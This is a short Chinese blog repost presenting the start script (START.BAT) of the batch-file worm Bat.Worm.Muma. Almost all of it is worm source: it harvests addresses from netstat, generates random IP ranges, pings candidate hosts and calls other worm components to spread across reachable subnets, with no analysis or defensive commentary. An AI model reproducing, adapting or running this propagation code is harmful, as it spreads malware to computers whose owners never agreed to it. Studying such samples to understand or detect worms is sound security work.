批处理病毒Bat.Worm.Muma的起始脚本

： 
START.BAT： 
CALL MUMA.BAT 
SET IPA=192.168 
CALL 10.BAT 0 
:NEARAGAIN 
netstat -n|find ":" >A.TMP 
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET

NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT 
:START 
CALL RANDOM.BAT 
IF "%NUM1%"=="255" GOTO NEARAGAIN 
IF "%NUM1%"=="192" GOTO NEARAGAIN 
IF "%NUM1%"=="127" GOTO NEARAGAIN 
IF "%NUM2%"=="255" GOTO NEARAGAIN 
IF "%NUM3%"=="255" GOTO NEARAGAIN 
IF "%NUM4%"=="255" GOTO NEARAGAIN 
SET IPA=%NUM1%.%NUM2% 
ECHO START > A.LOG 
PING %IPA%.%NUM3%.1>B.TMP 
PING %IPA%.%NUM3%.%NUM4%>>B.TMP 
FIND /C /I "from" B.TMP 
IF ERRORLEVEL 1 GOTO START 
CALL 10.BAT %NUM3% 
DEL A.LOG 
GOTO START

转载于:https://www.cnblogs.com/allay/p/7374374.html